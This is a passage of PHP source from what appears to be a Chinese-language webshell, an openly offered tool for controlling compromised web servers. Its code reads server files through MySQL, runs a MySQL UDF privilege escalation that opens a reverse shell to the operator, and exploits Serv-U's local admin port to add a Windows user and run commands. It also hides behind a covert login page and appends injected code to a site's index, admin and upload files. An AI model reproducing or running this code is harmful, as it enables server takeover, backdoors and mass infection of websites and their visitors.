 echo “</form>”;
 $tb->tdbody(‘貌似只要有file权限的帐号就可以了,不写上传后文件名则为原来文件名。.’,’center’);
 $tb->formheader($action,’利用Mysql下载文件’);
 $tb->tdbody(‘利用Mysql连接帐号下载Webshell不能读取下载的文件或数据库服务器文件。 启用压缩: <input type=”checkbox” name=”rardown” value=”yes” onclick=”javascript:alert(\’使用此功能的时候会RAR压缩后下载你所选择的文件。!\’)”> ‘,’center’);
 $tb->tdbody(‘Host: ‘.$tb->makeinput(‘host’,’localhost’,”,’text’,’16’).’User: ‘.$tb->makeinput(‘user’,’root’,”,’text’,’16’).’PASS: ‘.$tb->makeinput(‘password’,”,”,’text’,’16’).”.$tb->makehidden(‘action’,’mysqldown’).’文件: ‘.$tb->makeinput(‘filename’,’C:/windows/php.ini’,”,’text’,’26’).”.$tb->makeinput(”,’download’,”,’submit’),’center’,’1′,’35’);
 echo “</form>”;
 $tb->tdbody(‘貌似只要有file权限的帐号就可以了,至少可以读到邻居了.’,’center’);
 $tb->tdbody(‘Windows默认情况下Mysql为System权限,而Linux系统则权限不高。.’,’center’);
}
 $tb->tablefooter();
}
elseif ($_GET[‘action’] == “search”){
$action = ‘?dir=’.$dir.”;
 $tb->tableheader();
 $tb->formheader($action,’文件查找’);
 $tb->tdbody(‘你可以使用本功能查找一个目录下的文件里哪写文件包含着关键词!’,’center’);
 $tb->tdbody(‘文件位置: ‘.$tb->makeinput(‘path’,”.$nowpath.”,”,’text’,’70’).'<br>查找文字:’.$tb->makeinput(‘oldkey’,’下贱’,”,’text’,’60’).”.$tb->makehidden(‘do’,’search’).'<br> 是否计算所在行<input type=”checkbox” name=”type” value=”list” onclick=”javascript:alert(\’选定此处将会列出关键词在所在文件的多少行,和所在的那文件有多少行进行比对\\n\\n格式为:[所在行/文件总行]例如[12/99],用来进行分析.\\n\\n此功能可能会增加一部分的延时,请考虑使用,没有可读权限将出错!\’)”> (此功能和下面一个功能会影响执行速度,所以默认关闭!) <br>适当读取:<input type=”checkbox” name=”type2″ value=”getpath” onclick=”javascript:alert(\’选定此处将会列出关键词在所在位置及你设定结束区域内的部分字符..\\n\\n采取此功能查找完文件后把鼠标移动到找到的文件名上即可读取分析….\\n\\n此功能可能会增加一部分的延时,请考虑使用,没有可读权限将出错!\’)”> 读取关键词前’.$tb->makeinput(‘beline’,’0′,”,’text’,’3′).’个字符 ‘.$tb->makehidden(‘dir’,”.$dir.”).’到关键词后第’.$tb->makeinput(‘endline’,’10’,”,’text’,’3′).’个字符… ‘.$tb->makehidden(‘dir’,”.$dir.”).”.$tb->makeinput(”,’开始查找文件’,”,’submit’),’center’,’1′,’35’);#p#分页标题#e#
 echo “</form>”;
 $tb->tdbody(‘请表太大的目录了,慢慢浏览慢慢找好不好嘛.假设选定计算行速度会慢。显示[所在行/总共多少行]’,’center’);
 $tb->tablefooter();
}
elseif ($_GET[‘action’] == “proxy”) {
 $action = ‘?action=proxy’;
 $tb->tableheader();
 $tb->formheader($action,’在线代理’,’proxyframe’);
 $tb->tdbody(‘<br><ul><li>用本功能仅实现简单的 HTTP 代理,不会显示使用相对路径的图片、链接及CSS样式表.</li><li>用本功能可以通过本服务器浏览目标URL,但不支持 SQL Injection 探测以及某些特殊字符.</li><li>用本功能浏览的 URL,在目标主机上留下的IP记录是 : ‘.gethostbyname($_SERVER[‘SERVER_NAME’]).'</li></ul>’,’left’);
 $tb->tdbody(‘URL: ‘.$tb->makeinput(‘url’,’http://www.google.com’,”,’text’,’100′).’ ‘.$tb->makeinput(”,’浏览’,”,’submit’),’center’,’1′,’40’);
 $tb->tdbody(‘<iframe name=”proxyframe” frameborder=”0″ width=”765″ height=”400″ marginheight=”0″ marginwidth=”0″ scrolling=”auto” src=”http://www.google.com”></iframe>’);
 echo “</form>”;
 $tb->tablefooter();
}//end proxy

elseif ($_GET[‘action’] == “sql”) {
 $action = ‘?action=sql’;

 $servername = isset($_POST[‘servername’]) ? $_POST[‘servername’] : ‘localhost’;
 $dbusername = isset($_POST[‘dbusername’]) ? $_POST[‘dbusername’] : ‘root’;
 $dbpassword = $_POST[‘dbpassword’];
 $dbname = $_POST[‘dbname’];
 $sql_query = $_POST[‘sql_query’];
if($type==”fun”){
$sql_query = “CREATE FUNCTION Mixconnect RETURNS STRING SONAME ‘C:\\\Winnt\\\Mix.dll’;
select Mixconnect(‘”.$_SERVER[‘REMOTE_ADDR’].”‘,’8888’);/*这个最好先执行了上面一句再用*/
/*请在你计算机上执行 nc -vv -l -p 8888*/”;
}
 $tb->tableheader();
 $tb->formheader($action,’执行 SQL 语句’);
 $tb->tdbody(‘Host: ‘.$tb->makeinput(‘servername’,$servername,”,’text’,’20’).’ User: ‘.$tb->makeinput(‘dbusername’,$dbusername,”,’text’,’15’).’ Pass: ‘.$tb->makeinput(‘dbpassword’,$dbpassword,”,’text’,’15’).’ DB: ‘.$tb->makeinput(‘dbname’,$dbname,”,’text’,’15’).’ ‘.$tb->makeinput(‘connect’,’连接’,”,’submit’));
 $tb->tdbody($tb->maketextarea(‘sql_query’,$sql_query,’85’,’10’));
 $tb->makehidden(‘do’,’query’);
 $tb->formfooter(‘1′,’30’);
}//end sql query

elseif ($_GET[‘action’] == “sqlbak”) {
 $action = ‘?action=sqlbak’;
 $servername = isset($_POST[‘servername’]) ? $_POST[‘servername’] : ‘localhost’;
 $dbusername = isset($_POST[‘dbusername’]) ? $_POST[‘dbusername’] : ‘root’;
 $dbpassword = $_POST[‘dbpassword’];
 $dbname = $_POST[‘dbname’];
 $tb->tableheader();
 $tb->formheader($action,’备份 MySQL 数据库’);
 $tb->tdbody(‘Host: ‘.$tb->makeinput(‘servername’,$servername,”,’text’,’20’).’ User: ‘.$tb->makeinput(‘dbusername’,$dbusername,”,’text’,’15’).’ Pass: ‘.$tb->makeinput(‘dbpassword’,$dbpassword,”,’text’,’15’).’ DB: ‘.$tb->makeinput(‘dbname’,$dbname,”,’text’,’15’).’ ‘.$tb->makeinput(‘connect’,’连接’,”,’submit’));
 @mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname);
    $tables = @mysql_list_tables($dbname);
    while ($table = @mysql_fetch_row($tables)) {
  $cachetables[$table[0]] = $table[0];
    }
    @mysql_free_result($tables);
 if (empty($cachetables)) {
  $tb->tdbody(‘<b>您没有连接数据库 or 当前数据库没有任何数据表</b>’);#p#分页标题#e#
 } else {
  $tb->tdbody(‘<table border=”0″ cellpadding=”3″ cellspacing=”1″><tr><td valign=”top”>请选择表:</td><td>’.$tb->makeselect(array(‘name’=>’table[]’,’option’=>$cachetables,’multiple’=>1,’size’=>15,’css’=>1)).'</td></tr><tr nowrap><td><input type=”radio” name=”backuptype” value=”server” checked> 备份数据所保存的路径:</td><td>’.$tb->makeinput(‘path’,$pathname.’/’.$_SERVER[‘HTTP_HOST’].’_MySQL.sql’,”,’text’,’50’).'</td></tr><tr nowrap><td colspan=”2″><input type=”radio” name=”backuptype” value=”download”> 直接下载到本地 (适合数据量较小的数据库)</td></tr></table>’);
  $tb->makehidden(‘do’,’backupmysql’);
  $tb->formfooter(‘0′,’30’);
 }
 $tb->tablefooter();
 @mysql_close();
}//end sql backup

elseif ($_GET[‘action’] == “phpenv”) {
 $user = ” <a href=\”?action=nowuser\” target=\”_blank\”>以免crush点此获取当前进程用户名</a> “;
 $upsize=get_cfg_var(“file_uploads”) ? get_cfg_var(“upload_max_filesize”) : “不允许上传”;
 $adminmail=(isset($_SERVER[‘SERVER_ADMIN’])) ? “<a href=\”mailto:”.$_SERVER[‘SERVER_ADMIN’].”\”>”.$_SERVER[‘SERVER_ADMIN’].”</a>” : “<a href=\”mailto:”.get_cfg_var(“sendmail_from”).”\”>”.get_cfg_var(“sendmail_from”).”</a>”;
 if ($dis_func == “”) {
  $dis_func = “No”;
 }else {
  $dis_func = str_replace(” “,”<br>”,$dis_func);
  $dis_func = str_replace(“,”,”<br>”,$dis_func);
 }
 $phpinfo=(!eregi(“phpinfo”,$dis_func)) ? “Yes” : “No”;
  $info = array(
      0 => array(“当前php进程用户”,$user),
   1 => array(“服务器操作系统”,PHP_OS),
   2 => array(“服务器时间”,date(“Y年m月d日 h:i:s”,time())),
   3 => array(“服务器域名”,”<a href=\”http://”.$_SERVER[‘SERVER_NAME’].”\” target=\”_blank\”>”.$_SERVER[‘SERVER_NAME’].”</a>”),
   4 => array(“服务器IP地址”,gethostbyname($_SERVER[‘SERVER_NAME’])),
   5 => array(“服务器操作系统文字编码”,$_SERVER[‘HTTP_ACCEPT_LANGUAGE’]),
   6 => array(“服务器解译引擎”,$_SERVER[‘SERVER_SOFTWARE’]),
   7 => array(“Web服务端口”,$_SERVER[‘SERVER_PORT’]),
   8 => array(“PHP运行方式”,strtoupper(php_sapi_name())),
   9 => array(“PHP版本”,PHP_VERSION),
   10 => array(“运行于安全模式”,getphpcfg(“safemode”)),
   11 => array(“服务器管理员”,$adminmail),
   12 => array(“本文件路径”,__FILE__),
            13 => array(“允许使用 URL 打开文件 allow_url_fopen”,getphpcfg(“allow_url_fopen”)),
   14 => array(“允许动态加载链接库 enable_dl”,getphpcfg(“enable_dl”)),
   15 => array(“显示错误信息 display_errors”,getphpcfg(“display_errors”)),
   16 => array(“自动定义全局变量 register_globals”,getphpcfg(“register_globals”)),
   17 => array(“magic_quotes_gpc”,getphpcfg(“magic_quotes_gpc”)),
   18 => array(“程序最多允许使用内存量 memory_limit”,getphpcfg(“memory_limit”)),
   19 => array(“POST最大字节数 post_max_size”,getphpcfg(“post_max_size”)),
   20 => array(“允许最大上传文件 upload_max_filesize”,$upsize),
   21 => array(“程序最长运行时间 max_execution_time”,getphpcfg(“max_execution_time”).”秒”),#p#分页标题#e#
   22 => array(“被禁用的函数 disable_functions”,$dis_func),
   23 => array(“phpinfo()”,$phpinfo),
   24 => array(“目前还有空余空间diskfreespace”,intval(diskfreespace(“.”) / (1024 * 1024)).’Mb’),
            25 => array(“图形处理 GD Library”,getfun(“imageline”)),
   26 => array(“IMAP电子邮件系统”,getfun(“imap_close”)),
   27 => array(“MySQL数据库”,getfun(“mysql_close”)),
   28 => array(“SyBase数据库”,getfun(“sybase_close”)),
   29 => array(“Oracle数据库”,getfun(“ora_close”)),
   30 => array(“Oracle 8 数据库”,getfun(“OCILogOff”)),
   31 => array(“PREL相容语法 PCRE”,getfun(“preg_match”)),
   32 => array(“PDF文档支持”,getfun(“pdf_close”)),
   33 => array(“Postgre SQL数据库”,getfun(“pg_close”)),
   34 => array(“SNMP网络管理协议”,getfun(“snmpget”)),
   35 => array(“压缩文件支持(Zlib)”,getfun(“gzclose”)),
   36 => array(“XML解析”,getfun(“xml_set_object”)),
   37 => array(“FTP”,getfun(“ftp_login”)),
   38 => array(“ODBC数据库连接”,getfun(“odbc_close”)),
   39 => array(“Session支持”,getfun(“session_start”)),
   40 => array(“Socket支持”,getfun(“fsockopen”)),
  );
 $tb->tableheader();
 echo “<form action=\”?action=phpenv\” method=\”POST\”>\n”;
 $tb->tdbody(‘<b>查看PHP配置参数状况</b>’,’left’,’1′,’30’,’style=”padding-left: 5px;”‘);
 $tb->tdbody(‘请输入配置参数(如:magic_quotes_gpc): ‘.$tb->makeinput(‘phpvarname’,”,”,’text’,’40’).’ ‘.$tb->makeinput(”,’查看’,”,’submit’),’left’,’2′,’30’,’style=”padding-left: 5px;”‘);
 $tb->makehidden(‘do’,’viewphpvar’);
 echo “</form>\n”;
 $hp = array(0=> ‘服务器特性’, 1=> ‘PHP基本特性’, 2=> ‘组件支持状况’);
 for ($a=0;$a<3;$a++) {
  $tb->tdbody(‘<b>’.$hp[1].'</b>’,’left’,’1′,’30’,’style=”padding-left: 5px;”‘);
?>
  <tr class=”secondalt”>
    <td>
      <table width=”100%” border=”0″ cellpadding=”0″ cellspacing=”0″>
<?php
  if ($a==0) {
   for($i=0;$i<=12;$i++) {
    echo “<tr><td width=40% style=\”padding-left: 5px;\”>”.$info[$i][0].”</td><td>”.$info[$i][1].”</td></tr>\n”;
   }
  } elseif ($a == 1) {
   for ($i=13;$i<=24;$i++) {
    echo “<tr><td width=40% style=\”padding-left: 5px;\”>”.$info[$i][0].”</td><td>”.$info[$i][1].”</td></tr>\n”;
   }
  } elseif ($a == 2) {
   for ($i=25;$i<=40;$i++) {
    echo “<tr><td width=40% style=\”padding-left: 5px;\”>”.$info[$i][0].”</td><td>”.$info[$i][1].”</td></tr>\n”;
   }
  }
?>
      </table>
    </td>
  </tr>
<?php
 }//for
echo “</table>”;
}//end phpenv
elseif($_GET[‘action’] == “mysqlfun”){
   echo “<table width=\”760\” border=\”0\” cellpadding=\”3\” cellspacing=\”1\” bgcolor=\”#ffffff\”><tr class=\”firstalt\”><td align=\”left\”>”;
 if($_POST[‘port’] != “” && $_POST[‘ip’] != “” && $_POST[‘function’] != “”  && $_POST[‘host’] != “” && $_POST[‘user’] != “”)#p#分页标题#e#
    {
  [email protected]_connect($_POST[‘host’],$_POST[‘user’],$_POST[‘pass’]);
  if (!$link) {
    echo “<font color=red>Could not connect: “.mysql_error().”</font><br>”;
    }
    else{
    echo “<font color=blue>Connected successfully as “.$_POST[‘user’].”</font><br>”;
    if(isset($_POST[‘mixpath’])&&[email protected]_exists($_POST[‘mixpath’])){
   echo”<font color=red>Can’t find the “.$_POST[‘mixpath’].”</font><br>”;
    }
   if(isset($_POST[‘mixpath’])){
    $dll_path = addslashes($_POST[‘mixpath’]);
    $query=”create function “.$_POST[‘function’].” returns integer soname ‘”.$dll_path.”‘;”;
    echo (@mysql_query($query, $link)) ? “<font color=blue>Success: “.$query.”</font><br>” : “<font color=red>Create function faild!<br>”.mysql_error().”</font><br>”;
    }
    echo”<font color=red>Now Select Function name of “.$_POST[‘function’].”</font><br>”;
    $query=”select “.$_POST[‘function’].”(‘”.$_POST[‘ip’].”‘,'”.$_POST[‘port’].”‘);”;
    echo (@mysql_query($query, $link)) ? “<font color=blue>Success: “.$query.”</font><br>” : “<font color=red>Select Function name of “.$_POST[‘function’].” faild!<br>”.mysql_error().”</font><br>”;
    mysql_close($link);
    }
    }else{
    echo””;
    }
    echo “</td></tr></table>”;
    if($nodll==”yes”){
     $echodll = ” <a href=\”#\” title=\”使用说明\” onclick=\”alert(‘这里的文件名将会被addslashes函数把\\\\\\变成 \\\\\\\,全部写完便可以提交。\\n\\n请事先在自己机器运行nc -vv -l -p 端口,全部运行完mysql会假死。’)\”>(?)</a>&nbsp;    Mixdll :
      <input name=\”mixpath\” type=\”text\” class=\”INPUT\”  value=\”C:\mix.dll\” size=\”50\”> &nbsp;<a href=\”?action=mysqlfun\”>(已有function)</a>”;
    }else{
     $echodll = “<FONT color=\”blue\”>此步利用已建function进行工作。</FONT> &nbsp;<a href=\”?action=mysqlfun&nodll=yes\”>(未建function)</a>”;
    }
?>
<table width=”760″ border=”0″ cellpadding=”3″ cellspacing=”1″ bgcolor=”#ffffff”>
  <tr class=”firstalt”>
    <td align=”center”>mysql_function提权(mix.dll)</td>
  </tr>
  <form action=”?action=mysqlfun” method=”POST”>
  <tr class=”secondalt”>
    <td align=”center”><a href=”?action=sql&type=fun”>(Func)</a>&nbsp;返回端口:
      <input name=”port” type=”text” class=”INPUT”  value=”5438″ size=”6″>       
      返回IP:
      <input name=”ip” type=”text” class=”INPUT” value=”<?=$_SERVER[‘REMOTE_ADDR’]?>”>      function名:
      <input name=”function” type=”text” class=”INPUT”  value=”Mixconnect”> &nbsp;<a href=”?action=mix”>(Mix.dll)</a>
      <br>
   Host : <input name=”host” type=”text” class=”INPUT”  value=”localhost” size=”12″>        User : <input name=”user” type=”text” class=”INPUT”  value=”root” size=”8″>            PassWd : <input name=”pass” type=”text” class=”INPUT”  value=””> <br>#p#分页标题#e#
   <?=$echodll?>
   <? echo”<input name=\”nodll\” value=\””.$nodll.”\” type=\”hidden\”>”;?> </td>
  </tr>
  <tr class=”secondalt”>
    <td align=”center”><input name=”Submit” type=”submit” class=”input” id=”Submit” value=”执行”> 
      <input name=”Submit” type=”reset” class=”INPUT” value=”重置”></td>
  </tr> 
  </form>
    <tr class=”secondalt”>
    <td align=”center”>Remember,Love is a dieing dream….</td>
  </tr>
</table>
<?
}
elseif($_GET[‘action’] == “SUExp”)
{
    if($_POST[‘SUPort’] != “” && $_POST[‘SUUser’] != “” && $_POST[‘SUPass’] != “”)
    {
        echo “<table width=\”760\” border=\”0\” cellpadding=\”3\” cellspacing=\”1\” bgcolor=\”#ffffff\”><tr class=\”firstalt\”><td align=\”left\”>”;
        $sendbuf = “”;
        $recvbuf = “”;
        $domain  = “-SETDOMAIN\r\n”.
                “-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n”.
                “-TZOEnable=0\r\n”.
                ” TZOKey=\r\n”;
        $adduser = “-SETUSERSETUP\r\n”.
                “-IP=0.0.0.0\r\n”.
                “-PortNo=21\r\n”.
                “-User=”.$user.”\r\n”.
                “-Password=”.$password.”\r\n”.
                “-HomeDir=c:\\\r\n”.
                “-LoginMesFile=\r\n”.
                “-Disable=0\r\n”.
                “-RelPaths=1\r\n”.
                “-NeedSecure=0\r\n”.
                “-HideHidden=0\r\n”.
                “-AlwaysAllowLogin=0\r\n”.
                “-ChangePassword=0\r\n”.
                “-QuotaEnable=0\r\n”.
                “-MaxUsersLoginPerIP=-1\r\n”.
                “-SpeedLimitUp=0\r\n”.
                “-SpeedLimitDown=0\r\n”.
                “-MaxNrUsers=-1\r\n”.
                “-IdleTimeOut=600\r\n”.
                “-SessionTimeOut=-1\r\n”.
                “-Expire=0\r\n”.
                “-RatioUp=1\r\n”.
                “-RatioDown=1\r\n”.#p#分页标题#e#
                “-RatiosCredit=0\r\n”.
                “-QuotaCurrent=0\r\n”.
                “-QuotaMaximum=0\r\n”.
                “-Maintenance=None\r\n”.
                “-PasswordType=Regular\r\n”.
                “-Ratios=None\r\n”.
                ” Access=”.$part.”\|RWAMELCDP\r\n”;
        $deldomain=”-DELETEDOMAIN\r\n”.
                     “-IP=0.0.0.0\r\n”.
                     ” PortNo=21\r\n”;
        $sock = fsockopen(“127.0.0.1”, $_POST[“SUPort”], &$errno, &$errstr, 10);
        $recvbuf = fgets($sock, 1024);
        echo “<font color=red>Recv: $recvbuf</font><br>”;
        $sendbuf = “USER “.$_POST[“SUUser”].”\r\n”;
        fputs($sock, $sendbuf, strlen($sendbuf));
        echo “<font color=blue>Send: $sendbuf</font><br>”;
        $recvbuf = fgets($sock, 1024);
        echo “<font color=red>Recv: $recvbuf</font><br>”;
        $sendbuf = “PASS “.$_POST[“SUPass”].”\r\n”;
        fputs($sock, $sendbuf, strlen($sendbuf));
        echo “<font color=blue>Send: $sendbuf</font><br>”;
        $recvbuf = fgets($sock, 1024);
        echo “<font color=red>Recv: $recvbuf</font><br>”;
        $sendbuf = “SITE MAINTENANCE\r\n”;
        fputs($sock, $sendbuf, strlen($sendbuf));
        echo “<font color=blue>Send: $sendbuf</font><br>”;
        $recvbuf = fgets($sock, 1024);
        echo “<font color=red>Recv: $recvbuf</font><br>”;
        $sendbuf = $domain;
        fputs($sock, $sendbuf, strlen($sendbuf));
        echo “<font color=blue>Send: $sendbuf</font><br>”;
        $recvbuf = fgets($sock, 1024);
        echo “<font color=red>Recv: $recvbuf</font><br>”;
        $sendbuf = $adduser;
        fputs($sock, $sendbuf, strlen($sendbuf));
        echo “<font color=blue>Send: $sendbuf</font><br>”;
        $recvbuf = fgets($sock, 1024);
        echo “<font color=red>Recv: $recvbuf</font><br>”;
        echo “**********************************************************<br>”;
  if($job!==”adduser”){//假设不是建立用户
        echo “Starting Exploit …<br>”;
        echo “**********************************************************<br>”;
        $exp = fsockopen(“127.0.0.1”, “21”, &$errno, &$errstr, 10);
        $recvbuf = fgets($exp, 1024);
        echo “<font color=red>Recv: $recvbuf</font><br>”;#p#分页标题#e#
        $sendbuf = “USER “.$user.”\r\n”;
        fputs($exp, $sendbuf, strlen($sendbuf));
        echo “<font color=blue>Send: $sendbuf</font><br>”;
        $recvbuf = fgets($exp, 1024);
        echo “<font color=red>Recv: $recvbuf</font><br>”;
        $sendbuf = “PASS “.$password.”\r\n”;
        fputs($exp, $sendbuf, strlen($sendbuf));
        echo “<font color=blue>Send: $sendbuf</font><br>”;
        $recvbuf = fgets($exp, 1024);
        echo “<font color=red>Recv: $recvbuf</font><br>”;
        $sendbuf = “site exec “.$_POST[“SUCommand”].”\r\n”;
        fputs($exp, $sendbuf, strlen($sendbuf));
        echo “<font color=blue>Send: site exec</font> <font color=green>”.$_POST[“SUCommand”].”</font><br>”;
        $recvbuf = fgets($exp, 1024);
        echo “<font color=red>Recv: $recvbuf</font><br>”;
        echo “**********************************************************<br>”;
        echo “Starting Delete Domain …<br>”;
        echo “**********************************************************<br>”;
        $sendbuf = $deldomain;
        fputs($sock, $sendbuf, strlen($sendbuf));
        echo “<font color=blue>Send: $sendbuf</font><br>”;
        $recvbuf = fgets($sock, 1024);
        echo “<font color=red>Recv: $recvbuf</font><br>”;
  }else{
   echo “All done …<br>”;
   echo “**********************************************************<br>”;
  }
        echo “</td></tr></table>”;
        fclose($sock);
        if($job!==”adduser”) fclose($exp);
    }
?>
<table width=”760″ border=”0″ cellpadding=”3″ cellspacing=”1″ bgcolor=”#ffffff”>
  <tr class=”firstalt”>
    <td align=”center”>通过Serv-U 本地管理员帐号执行命令 & 添加域管理</td>
  </tr>
  <form action=”?action=SUExp” method=”POST”>
  <tr class=”secondalt”>
    <td align=”center”>LocalPort:
      <input name=”SUPort” type=”text” class=”INPUT” id=”SUPort” value=”43958″ size=”7″>       
      LocalUser:
      <input name=”SUUser” type=”text” class=”INPUT” id=”SUUser” value=”LocalAdministrator”>        LocalPass:
      <input name=”SUPass” type=”text” class=”INPUT” id=”SUPass” value=”#[email protected]$ak#.lk;[email protected]”>
      <br>
   <?php
 if($job!==”adduser”){
 ?>
      Command :
      <input name=”SUCommand” type=”text” class=”INPUT” id=”SUCommand” value=”net user saiy saiy /add” size=”50″> &nbsp;<a href=”?action=SUExp&job=adduser”>(添加用户)</a> –  <a href=”#” title=”使用说明” onClick=”alert(‘不选择添加用户功能则会添加saiy密码为saiy的帐号并在EXP结束后删除域和saiy。\n\n添加用户功能是用来自己添加一个域管理员帐号用的,不执行site exec 命令。\n\n进行这个操作将会得到一个你选目录完全控制权限的域管理。’)”>(?)</a>#p#分页标题#e#
   <input name=”user” type=”hidden” value=”saiy”>
   <input name=”password” type=”hidden” value=”saiy”>
   <input name=”part” type=”hidden” value=”C:\”>
   <?}
   else{
 ?>
 帐号:
      <input name=”user” type=”text” class=”INPUT” value=”saiy” size=”20″> 
   密码:
      <input name=”password” type=”text” class=”INPUT” value=”saiy” size=”20″> 
   目录:
      <input name=”part” type=”text” class=”INPUT” value=”C:\” size=”20″> 
   <a href=”?action=SUExp”>(执行CMD)</a> –  <a href=”#” title=”使用说明” onClick=”alert(‘回到执行命令处’)”>(?)</a>
   <input name=”job” type=”hidden” value=”<?=$job?>”>
 <?php
   }
  ?></td>
  </tr>
  <tr class=”secondalt”>
    <td align=”center”><input name=”Submit” type=”submit” class=”input” id=”Submit” value=”执行”> 
      <input name=”Submit” type=”reset” class=”INPUT” value=”重置”></td>
  </tr> 
  </form>
</table>
<?php
}
?>
<hr width=”775″ noshade>
<table width=”775″ border=”0″ cellpadding=”0″>
  <tr>
    <td><FONT color=#ff3300>声明:请勿使用本程序从事非法行为,否则后果自负!</font></td>
    <td align=”right”><?php
 debuginfo();
 ob_end_flush(); 
 ?></td>
  </tr>
</table>
</center>
</body>
</html>

<?php

/*======================================================
函数库
======================================================*/

 // 登陆入口
 function loginpage() {
 global $hidden,$alexa;
if($hidden==”saiy”){
?>
<style type=”text/css”>
input {font-family: “Verdana”;font-size: “11px”;BACKGROUND-COLOR: “#FFFFFF”;height: “18px”;border: “1px solid #666666”;}
</style>
<table width=”416″ border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
<form method=”POST” action=””>
  <tr>
    <td height=”75″ align=”center”>
<span style=”font-size: 11px; font-family: Verdana”>密码: </span><input name=”adminpass” type=”password” size=”20″>
<input type=”hidden” name=”do” value=”login”>
<input type=”submit” value=”登陆”>
 </td>
  </tr>
  </form>
  <?php
 if($alexa!==”no”){
 ?>
  </table>
  <?}
 }?>
<?php
  exit;
 }//end loginpage()

 // 页面调试信息
 function debuginfo() {
  global $starttime;
  $mtime = explode(‘ ‘, microtime());
  $totaltime = number_format(($mtime[1] + $mtime[0] – $starttime), 6);
  echo “页面执行了 $totaltime 秒”;
 }

 // 去掉转义字符
 function stripslashes_array(&$array) {
  while(list($key,$var) = each($array)) {
   if ($key != ‘argc’ && $key != ‘argv’ && (strtoupper($key) != $key || ”.intval($key) == “$key”)) {
    if (is_string($var)) {
     $array[$key] = stripslashes($var);
    }
    if (is_array($var))  {
     $array[$key] = stripslashes_array($var);#p#分页标题#e#
    }
   }
  }
  return $array;
 }

 // 删除目录
 function deltree($deldir) {
  [email protected]($deldir); 
  while($file=$mydir->read()) {   
   if((is_dir(“$deldir/$file”)) AND ($file!=”.”) AND ($file!=”..”)) {
    @chmod(“$deldir/$file”,0777);
    deltree(“$deldir/$file”);
   }
   if (is_file(“$deldir/$file”)) {
    @chmod(“$deldir/$file”,0777);
    @unlink(“$deldir/$file”);
   }
  }
  $mydir->close();
  @chmod(“$deldir”,0777);
  return (@rmdir($deldir)) ? 1 : 0;
 }

 // 判断读写情况
 function dir_writeable($dir) {
  if (!is_dir($dir)) {
   @mkdir($dir, 0777);
  }
  if(is_dir($dir)) {
   if ($fp = @fopen(“$dir/test.txt”, ‘w’)) {
    @fclose($fp);
    @unlink(“$dir/test.txt”);
    $writeable = 1;
   } else {
    $writeable = 0;
   }
  }
  return $writeable;
 }

 // 表格行间的背景色替换
 function getrowbg() {
  global $bgcounter;
  if ($bgcounter++%2==0) {
   return “firstalt”;
  } else {
   return “secondalt”;
  }
 }

 // 获取当前的文件系统路径
 function getPath($mainpath, $relativepath) {
  global $dir;
  $mainpath_info           = explode(‘/’, $mainpath);
  $relativepath_info       = explode(‘/’, $relativepath);
  $relativepath_info_count = count($relativepath_info);
  for ($i=0; $i<$relativepath_info_count; $i++) {
   if ($relativepath_info[$i] == ‘.’ || $relativepath_info[$i] == ”) continue;
   if ($relativepath_info[$i] == ‘..’) {
    $mainpath_info_count = count($mainpath_info);
    unset($mainpath_info[$mainpath_info_count-1]);
    continue;
   }
   $mainpath_info[count($mainpath_info)] = $relativepath_info[$i];
  } //end for
  return implode(‘/’, $mainpath_info);
 }
function dirtree($path,$mm)
 {
 $d [email protected](“$path”);
 while (false !== ($entry = $d->read())) {
  if($entry == “.” || $entry == “..”) continue;
  $file=$d->path.”/” .$entry;
  if(@is_dir($file))
  {
  dirtree($file,$mm);
  }
  else
  {
    if(@ereg(“default\.|index\.|admin\.|bbs\.|reg\.|help\.|upfile\.|upload\.|cart\.|class\.|login\.|diy\.|no\.|ok\.|del\.|sql\.|user\.|ubb\.|ftp\.|asp\.|top\.|new\.|open\.|name\.|email\.|img\.|images\.|web\.|blog\.|save\.|data\.|add\.|edit\.|main\.|form\.|game\.|about\.|manager\.|book\.|bt\.|mp3\.|vod\.|error\.|copy\.|move\.|down\.|system\.|logo\.|QQ\.|520\.|newup\.|myup\.|play\.|show\.|view\.|ip\.|err404\.|send\.|foot\.|char\.|info\.|list\.|shop\.|err\.|nc\.|ad\.|flash\.|text\.|admin_upfile\.|admin_upload\.|upfile_load\.|upfile_soft\.|upfile_photo\.|upfile_softpic\.|vip\.|505\.|tag\.|search\.|list\.|common\.|show\.|count\.|download\.|php\.”,$file)) {
    $mm=stripcslashes( trim( $mm ) );//防止单双引号被加上斜杠
    $handle = @fopen (“$file”, “a”);
    @fwrite($handle, “$mm”);
    @fclose($handle);
    echo “已挂马文件:$file<br>”;
    }
  }
 }
 $d->close();
}
 // 检查PHP配置参数
 function getphpcfg($varname) {
  switch($result = get_cfg_var($varname)) {
   case 0:
   return “No”;
   break;#p#分页标题#e#
   case 1:
   return “Yes”;
   break;
   default:
   return $result;
   break;
  }
 }

 // 检查函数情况
 function getfun($funName) {
  return (false !== function_exists($funName)) ? “Yes” : “No”;
 }

 class zip //ZIP压缩类
{

 var $datasec, $ctrl_dir = array();
 var $eof_ctrl_dir = “\x50\x4b\x05\x06\x00\x00\x00\x00”;
 var $old_offset = 0; var $dirs = Array(“.”);
 function Add($files,$compact)
 {
  if(!is_array($files[0])) $files=Array($files);

  for($i=0;$files[$i];$i++){
    $fn = $files[$i];
    if(!in_Array(dirname($fn[0]),$this->dirs))
     $this->add_Dir(dirname($fn[0]));
    if(basename($fn[0]))
     $ret[basename($fn[0])]=$this->add_File($fn[1],$fn[0],$compact);
  }
  return $ret;
 }
function get_file()
 {
   $data = implode(”, $this -> datasec);
   $ctrldir = implode(”, $this -> ctrl_dir);

   return $data . $ctrldir . $this -> eof_ctrl_dir .
    pack(‘v’, sizeof($this -> ctrl_dir)).pack(‘v’, sizeof($this -> ctrl_dir)).
    pack(‘V’, strlen($ctrldir)) . pack(‘V’, strlen($data)) . “\x00\x00”;
 }
 function ReadCentralDir($zip,$zip_name)
 {
  $size = filesize($zip_name);
  if ($size < 277) $maximum_size = $size;
  else $maximum_size=277;
  @fseek($zip, $size-$maximum_size);
  $pos = ftell($zip); $bytes = 0x00000000;
  while ($pos < $size)
  {
    $byte = @fread($zip, 1); $bytes=($bytes << 8) | Ord($byte);
    if ($bytes == 0x504b0506){ $pos++; break; } $pos++;
  }
  $data=unpack(‘vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size’,fread($zip,18));
  if ($data[‘comment_size’] != 0)
   $centd[‘comment’] = fread($zip, $data[‘comment_size’]);
